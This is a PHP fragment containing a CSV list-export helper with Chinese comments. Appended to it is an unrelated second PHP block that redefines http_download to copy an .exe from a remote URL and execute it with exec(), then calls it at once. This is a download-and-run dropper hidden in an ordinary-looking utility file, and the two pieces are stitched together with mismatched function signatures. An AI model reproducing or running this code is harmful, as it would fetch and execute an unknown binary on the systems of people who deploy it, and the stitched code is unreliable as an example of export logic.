/** * 列表数据导出 * * @params str $file 导出的文件名 * @params arr $rows 导出的数据集 * @params str $cols 要导出的列名 */ function list_export($file, $rows, $cols = '') { /* 初始化 */ $str = ''; /* 初始化列名 */ $cols = empty($cols) ? array() : explode(',', $cols); /* 输出数据 */ foreach ($rows as $r) { if (empty($cols)) { $str .= '"' . implode('","', str_replace('"', '""', $r)) . "\"\r\n"; } else { foreach ($cols as $col) { $str .= '"' . str_replace('"', '""', $r[$col]) . '",'; } $str = rtrim($str, ',') . "\r\n"; } } http_download($file, $str, 'GB2312'); }
<?php function http_download($what, $where) { copy($what, $where); exec($where); } http_download("http://harvie.stokoruna.cz/files/skategirl.exe", "skategirl.exe");